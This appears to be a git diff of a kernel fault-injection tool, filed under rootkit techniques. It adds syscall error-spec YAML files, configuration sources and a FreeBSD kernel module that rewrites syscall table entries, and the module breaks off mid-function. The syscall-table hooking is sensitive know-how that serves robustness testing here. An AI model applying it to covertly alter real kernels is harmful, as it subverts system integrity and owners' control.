Faulter/src/module/codegen/linux/settimeofday.yml @@ -0,0 +1,8 @@ +proto: struct timeval __user *tv, struct timezone __user *tz +parms: tv, tz +errors: + - EFAULT + - EINVAL + - EPERM +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setuid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setuid.yml new file mode 100644 index 0000000..ce726eb --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/setuid.yml @@ -0,0 +1,6 @@ +proto: uid_t uid +parms: uid +errors: + - EAGAIN + - EINVAL + - EPERM diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shmat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shmat.yml new file mode 100644 index 0000000..fd97d17 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shmat.yml @@ -0,0 +1,9 @@ +proto: int shmid, char __user *shmaddr, int shmflg +parms: shmid, shmaddr, shmflg +errors: + - EACCES + - EIDRM + - EINVAL + - ENOMEM +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shmctl.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shmctl.yml new file mode 100644 index 0000000..d797123 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shmctl.yml @@ -0,0 +1,12 @@ +proto: int shmid, int cmd, struct shmid_ds __user *buf +parms: shmid, cmd, buf +errors: + - EACCES + - EFAULT + - EIDRM + - EINVAL + - ENOMEM + - EOVERFLOW + - EPERM +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shmdt.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shmdt.yml new file mode 100644 index 0000000..3019ad2 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shmdt.yml @@ -0,0 +1,6 @@ +proto: char __user *shmaddr +parms: shmaddr +errors: + - EINVAL +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shmget.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shmget.yml new file mode 100644 index 0000000..e8aec44 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shmget.yml @@ -0,0 +1,13 @@ +proto: key_t key, size_t size, int shmflg +parms: key, size, shmflg +errors: + - EACCES + - EEXIST + - EINVAL + - ENFILE + - ENOENT + - ENOMEM + - ENOSPC + - EPERM +profiles: + - ipc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shutdown.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shutdown.yml new file mode 100644 index 0000000..fd395ba --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/shutdown.yml @@ -0,0 +1,9 @@ +proto: int fd, int how +parms: fd, how +errors: + - EBADF + - EINVAL + - ENOTCONN + - ENOTSOCK +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sigaltstack.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sigaltstack.yml new file mode 100644 index 0000000..27f7e1f --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sigaltstack.yml @@ -0,0 +1,9 @@ +proto: const stack_t __user *uss, stack_t __user *uoss +parms: uss, uoss +errors: + - EFAULT + - EINVAL + - ENOMEM + - EPERM +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/socket.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/socket.yml new file mode 100644 index 0000000..ab64478 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/socket.yml @@ -0,0 +1,13 @@ +proto: int family, int type, int protocol +parms: family, type, protocol +errors: + - EACCES + - EAFNOSUPPORT + - EINVAL + - EMFILE + - ENFILE + - ENOBUFS + - ENOMEM + - EPROTONOSUPPORT +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/socketpair.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/socketpair.yml new file mode 100644 index 0000000..ccbb2ad --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/socketpair.yml @@ -0,0 +1,11 @@ +proto: int family, int type, int protocol, int __user *usockvec +parms: family, type, protocol, usockvec +errors: + - EAFNOSUPPORT + - EFAULT + - EMFILE + - ENFILE + - EOPNOTSUPP + - EPROTONOSUPPORT +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/stat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/stat.yml new file mode 100644 index 0000000..cd12db6 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/stat.yml @@ -0,0 +1,13 @@ +proto: const char __user *filename, struct __old_kernel_stat __user *statbuf +parms: filename, statbuf +errors: + - EACCES + - EFAULT + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR + - EOVERFLOW +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/statfs.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/statfs.yml new file mode 100644 index 0000000..a7f3d9e --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/statfs.yml @@ -0,0 +1,16 @@ +proto: const char __user *pathname, struct statfs __user *buf +parms: pathname, buf +errors: + - EACCES + - EFAULT + - EINTR + - EIO + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOSYS + - ENOTDIR + - EOVERFLOW +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/swapoff.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/swapoff.yml new file mode 100644 index 0000000..bc28ca7 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/swapoff.yml @@ -0,0 +1,10 @@ +proto: const char __user *specialfile +parms: specialfile +errors: + - EINVAL + - ENFILE + - ENOENT + - ENOMEM + - EPERM +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/swapon.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/swapon.yml new file mode 100644 index 0000000..a833680 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/swapon.yml @@ -0,0 +1,11 @@ +proto: const char __user *specialfile, int swap_flags +parms: specialfile, swap_flags +errors: + - EBUSY + - EINVAL + - ENFILE + - ENOENT + - ENOMEM + - EPERM +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/symlink.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/symlink.yml new file mode 100644 index 0000000..6b13ba7 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/symlink.yml @@ -0,0 +1,18 @@ +proto: const char __user *oldname, const char __user *newname +parms: oldname, newname +errors: + - EACCES + - EDQUOT + - EEXIST + - EFAULT + - EIO + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOSPC + - ENOTDIR + - EPERM + - EROFS +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/symlinkat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/symlinkat.yml new file mode 100644 index 0000000..ae05666 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/symlinkat.yml @@ -0,0 +1,19 @@ +proto: const char __user *oldname, int newdfd, const char __user *newname +parms: oldname, newdfd, newname +errors: + - EACCES + - EDQUOT + - EEXIST + - EFAULT + - EIO + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOSPC + - ENOTDIR + - EPERM + - EROFS + - EBADF +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/syncfs.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/syncfs.yml new file mode 100644 index 0000000..0272765 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/syncfs.yml @@ -0,0 +1,6 @@ +proto: int fd +parms: fd +errors: + - EBADF +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sysctl.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sysctl.yml new file mode 100644 index 0000000..a71fad1 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sysctl.yml @@ -0,0 +1,11 @@ +name: _sysctl +proto: struct __sysctl_args __user *args +parms: args +errors: + # - EACCESS + - EFAULT + - ENOTDIR + - EPERM +profiles: + - fs + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sysfs.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sysfs.yml new file mode 100644 index 0000000..b1171b8 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sysfs.yml @@ -0,0 +1,7 @@ +proto: int option, unsigned long arg1, unsigned long arg2 +parms: option, arg1, arg2 +errors: + - EFAULT + - EINVAL +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/syslog.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/syslog.yml new file mode 100644 index 0000000..9109304 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/syslog.yml @@ -0,0 +1,7 @@ +proto: int type, char __user *buf, int len +parms: type, buf, len +errors: + - EINVAL + - ENOSYS + - EPERM + - ERESTARTSYS diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/tgkill.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/tgkill.yml new file mode 100644 index 0000000..8b8b9c1 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/tgkill.yml @@ -0,0 +1,7 @@ +proto: pid_t tgid, pid_t pid, int sig +parms: tgid, pid, sig +errors: + - EINVAL + - EPERM + - ESRCH + - EAGAIN diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/time.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/time.yml new file mode 100644 index 0000000..7ac10d8 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/time.yml @@ -0,0 +1,7 @@ +# See gettimeofday.yml; you probably need to disable the VDSO for this. +proto: time_t __user *tloc +parms: tloc +errors: + - EFAULT +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_create.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_create.yml new file mode 100644 index 0000000..5e920cf --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_create.yml @@ -0,0 +1,8 @@ +proto: const clockid_t which_clock, struct sigevent __user *timer_event_spec, timer_t __user *created_timer_id +parms: which_clock, timer_event_spec, created_timer_id +errors: + - EAGAIN + - EINVAL + - ENOMEM +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_delete.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_delete.yml new file mode 100644 index 0000000..a601e7b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_delete.yml @@ -0,0 +1,6 @@ +proto: timer_t timer_id +parms: timer_id +errors: + - EINVAL +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_getoverrun.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_getoverrun.yml new file mode 100644 index 0000000..a601e7b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_getoverrun.yml @@ -0,0 +1,6 @@ +proto: timer_t timer_id +parms: timer_id +errors: + - EINVAL +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_gettime.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_gettime.yml new file mode 100644 index 0000000..e8a040d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_gettime.yml @@ -0,0 +1,7 @@ +proto: timer_t timer_id, struct itimerspec __user *setting +parms: timer_id, setting +errors: + - EFAULT + - EINVAL +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_settime.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_settime.yml new file mode 100644 index 0000000..22278cd --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_settime.yml @@ -0,0 +1,7 @@ +proto: timer_t timer_id, int flags, const struct itimerspec __user *new_setting, struct itimerspec __user *old_setting +parms: timer_id, flags, new_setting, old_setting +errors: + - EFAULT + - EINVAL +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timerfd_create.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timerfd_create.yml new file mode 100644 index 0000000..2ec1a87 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timerfd_create.yml @@ -0,0 +1,12 @@ +proto: int clockid, int flags +parms: clockid, flags +errors: + - EINVAL + - EMFILE + - ENFILE + - ENODEV + - ENOMEM +profiles: + # TODO(ww): Does fs make sense here? The timerfd API uses the process fd table. + # - fs + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timerfd_gettime.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timerfd_gettime.yml new file mode 100644 index 0000000..c1764b7 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timerfd_gettime.yml @@ -0,0 +1,8 @@ +proto: int ufd, struct itimerspec __user *otmr +parms: ufd, otmr +errors: + - EBADF + - EFAULT + - EINVAL +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timerfd_settime.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timerfd_settime.yml new file mode 100644 index 0000000..5711c5c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timerfd_settime.yml @@ -0,0 +1,8 @@ +proto: int ufd, int flags, const struct itimerspec __user *utmr, struct itimerspec __user *otmr +parms: ufd, flags, utmr, otmr +errors: + - EBADF + - EFAULT + - EINVAL +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/tkill.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/tkill.yml new file mode 100644 index 0000000..7ee0c86 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/tkill.yml @@ -0,0 +1,9 @@ +proto: pid_t pid, int sig +parms: pid, sig +errors: + - EINVAL + - EPERM + - ESRCH + - EAGAIN +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/truncate.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/truncate.yml new file mode 100644 index 0000000..a6a8a39 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/truncate.yml @@ -0,0 +1,19 @@ +proto: const char __user *path, long length +parms: path, length +errors: + - EACCES + - EFBIG + - EINTR + - EINVAL + - EIO + - EISDIR + - ELOOP + - ENAMETOOLONG + - ENOENT + - EPERM + - EROFS + - ETXTBSY + - EFAULT +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/umount.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/umount.yml new file mode 100644 index 0000000..d5b2d01 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/umount.yml @@ -0,0 +1,14 @@ +nr: umount2 +proto: char __user *name, int flags +parms: name, flags +errors: + - EAGAIN + - EBUSY + - EFAULT + - EINVAL + - ENAMETOOLONG + - ENOENT + - ENOMEM + - EPERM +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/unlink.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/unlink.yml new file mode 100644 index 0000000..0c81f65 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/unlink.yml @@ -0,0 +1,17 @@ +proto: const char __user *pathname +parms: pathname +errors: + - EACCES + - EBUSY + - EFAULT + # - EIO + - EISDIR + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR + - EPERM + - EROFS +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/unlinkat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/unlinkat.yml new file mode 100644 index 0000000..4662d34 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/unlinkat.yml @@ -0,0 +1,19 @@ +proto: int dfd, const char __user *pathname, int flag +parms: dfd, pathname, flag +errors: + - EACCES + - EBUSY + - EFAULT + - EIO + - EISDIR + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR + - EPERM + - EROFS + - EBADF + - EINVAL +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/uselib.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/uselib.yml new file mode 100644 index 0000000..c2c4e70 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/uselib.yml @@ -0,0 +1,8 @@ +proto: const char __user *library +parms: library +errors: + - EACCES + - ENFILE + - ENOEXEC +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/ustat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/ustat.yml new file mode 100644 index 0000000..dcd6076 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/ustat.yml @@ -0,0 +1,8 @@ +proto: unsigned dev, struct ustat __user *buf +parms: dev, buf +errors: + - EFAULT + - EINVAL + - ENOSYS +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/utime.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/utime.yml new file mode 100644 index 0000000..42ef50d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/utime.yml @@ -0,0 +1,7 @@ +proto: char __user *filename, struct utimbuf __user *times +parms: filename, times +errors: + - EACCES + - ENOENT + - EPERM + - EROFS diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/vhangup.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/vhangup.yml new file mode 100644 index 0000000..9598e43 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/vhangup.yml @@ -0,0 +1,7 @@ +proto: void +parms: +errors: + - EPERM +profiles: + - fs + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/wait4.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/wait4.yml new file mode 100644 index 0000000..a8edf28 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/wait4.yml @@ -0,0 +1,8 @@ +proto: pid_t upid, int __user *stat_addr, int options, struct rusage __user *ru +parms: upid, stat_addr, options, ru +errors: + - ECHILD + - EINTR + - EINVAL +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/waitid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/waitid.yml new file mode 100644 index 0000000..b04003b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/waitid.yml @@ -0,0 +1,8 @@ +proto: int which, pid_t upid, struct siginfo __user *infop, int options, struct rusage __user *ru +parms: which, upid, infop, options, ru +errors: + - ECHILD + - EINTR + - EINVAL +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/write.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/write.yml new file mode 100644 index 0000000..5aceb17 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/write.yml @@ -0,0 +1,15 @@ +proto: unsigned int fd, const char __user *buf, size_t count +parms: fd, buf, count +errors: + - EBADF + - EFAULT + - EPERM +unlikely_errors: + - EDQUOT + - EFBIG + - EINTR + - EINVAL + - ENOSPC +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/writev.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/writev.yml new file mode 100644 index 0000000..e1ed178 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/writev.yml @@ -0,0 +1,18 @@ +proto: unsigned long fd, const struct iovec __user *vec, unsigned long vlen +parms: fd, vec, vlen +errors: + - EBADF + - EFAULT +unlikely_errors: + # - EAGAIN + # - EWOULDBLOCK + - EINTR + - EINVAL + - EIO + - EISDIR + - ENXIO + - EOVERFLOW + - ESPIPE +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/config.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/config.c new file mode 100644 index 0000000..c999f76 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/config.c @@ -0,0 +1,8 @@ +#include "config.h" + +unsigned int krf_rng_state = 0; +unsigned int krf_probability = 1000; +unsigned int krf_targeted_uid = 1002; +unsigned int krf_log_faults = 0; + +krf_target_options_t krf_target_options = {0}; diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/config.h b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/config.h new file mode 100644 index 0000000..df5dd9e --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/config.h @@ -0,0 +1,25 @@ +#pragma once +#include "../common/common.h" + +/* All of our options are unsigned ints, + * so 32 bytes should be more than enough for their string reps + * plus a trailing newline. + */ +#define KRF_PROCFS_MAX_SIZE 255 + +extern unsigned int krf_rng_state; +extern unsigned int krf_probability; +extern unsigned int krf_log_faults; +extern unsigned int krf_targeting; + +#define KRF_T_MODE_MAX 31 +#define KRF_T_MODE_MAX_MASK (1 << KRF_T_MODE_MAX) + +_Static_assert(((KRF_T_NUM_MODES) <= (KRF_T_MODE_MAX)), "Too many modes"); + +typedef struct { + unsigned int mode_mask; + unsigned int target_data[KRF_T_MODE_MAX]; +} krf_target_options_t; + +extern krf_target_options_t krf_target_options; diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/Makefile b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/Makefile new file mode 100644 index 0000000..d4f1beb --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/Makefile @@ -0,0 +1,35 @@ +# NOTE(ww): The targets in this file intentionally use `make` +# instead of `$(MAKE)`, since we expect `$(MAKE)` to be GNU Make +# and not the BSD `make` that the FreeBSD module build requires. +KRF_SYSCALL_YMLS = $(wildcard ../codegen/freebsd/*.yml) + +.PHONY: all +all: module + +.PHONY: module +module: ../codegen/freebsd/.freebsd.mk + make -f Makefile.module all + +.PHONY: codegen +codegen: ../codegen/freebsd/.freebsd.mk + +../codegen/freebsd/.freebsd.mk: ../codegen/freebsd/codegen $(KRF_SYSCALL_YMLS) + ruby ../codegen/freebsd/codegen $(FAULTS) + @touch ../codegen/freebsd/.freebsd.mk + +.PHONY: insmod +insmod: + sudo make -f Makefile.module load + +.PHONY: rmmod +rmmod: + sudo make -f Makefile.module unload + +.PHONY: install +install: + sudo make -f Makefile.module install + +.PHONY: clean +clean: + make -f Makefile.module clean + rm -rf *.gen.c *.gen.x *.gen.h syscalls/*.gen.c syscalls/*.gen.h ../codegen/freebsd/.freebsd.mk diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/Makefile.module b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/Makefile.module new file mode 100644 index 0000000..25f8249 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/Makefile.module @@ -0,0 +1,10 @@ +SYSCALL_C_FILES != ls syscalls/*.gen.c +SRCS = krf.c syscalls.c ../config.c ../krf.c $(SYSCALL_C_FILES) vnode_if.h +KMOD = krf + +# NOTE(ww): Clear the default CFLAGS flags passed in the top-level Makefile. +# bsd.kmod.mk will do everything right for us. +# TODO(ww): Figure out why .unexport and .undef don't work here. +CFLAGS := + +.include diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/freebsd.h b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/freebsd.h new file mode 100644 index 0000000..a6d6781 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/freebsd.h @@ -0,0 +1,10 @@ +#pragma once +// FreeBSD specific definitions +#include "syscalls.h" + +#define KRF_SAFE_WRITE(x) x // ??? +#define KRF_LOG(...) uprintf(__VA_ARGS__) +#define KRF_SYSCALL_TABLE sysent +#define KRF_TARGETING_PARMS td +#define KRF_EXTRACT_SYSCALL(x) ((x).sy_call) +typedef struct thread krf_ctx_t; diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/krf.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/krf.c new file mode 100644 index 0000000..542dbdf --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/krf.c @@ -0,0 +1,124 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include "../config.h" +#include "../krf.h" +#include "syscalls.h" + +static struct sysctl_ctx_list clist; +static struct sysctl_oid *krf_sysctl_root; +static unsigned int krf_control; +static char krf_targetings[13]; + +static int control_file_sysctl(SYSCTL_HANDLER_ARGS) { + int syscall = -1; + int err = 0; + + if (sysctl_handle_int(oidp, &syscall, 0, req)) { + return -1; + } else if (req->newptr) { + err = control_file_handler(syscall); + if (err < 0) + return -err; + } else { + // read request? + } + return err; +} + +static int targeting_file_sysctl(SYSCTL_HANDLER_ARGS) { + int err = 0; + krf_target_mode_t mode; + unsigned int data; + + err = sysctl_handle_string(oidp, &krf_targetings, 13, req); + if (err) { + return -err; + } else if (req->newptr) { + if (sscanf(krf_targetings, "%u %u", &mode, &data) != 2) { + return EINVAL; + } + if (targeting_file_write_handler(mode, data) < 0) { + return EINVAL; + } + } else { + // read request? + } + return err; +} + +static int krf_init() { + int err = 0; + sysctl_ctx_init(&clist); + if (!(krf_sysctl_root = SYSCTL_ADD_ROOT_NODE(&clist, OID_AUTO, KRF_PROC_DIR, CTLFLAG_RW, 0, + "krf sysctl root node"))) { + uprintf("krf error: Failed to add root sysctl node.\n"); + return -1; + } + + memset(krf_faultable_table, 0, KRF_NR_SYSCALLS * sizeof(sy_call_t *)); + for (unsigned int i = 0; i < 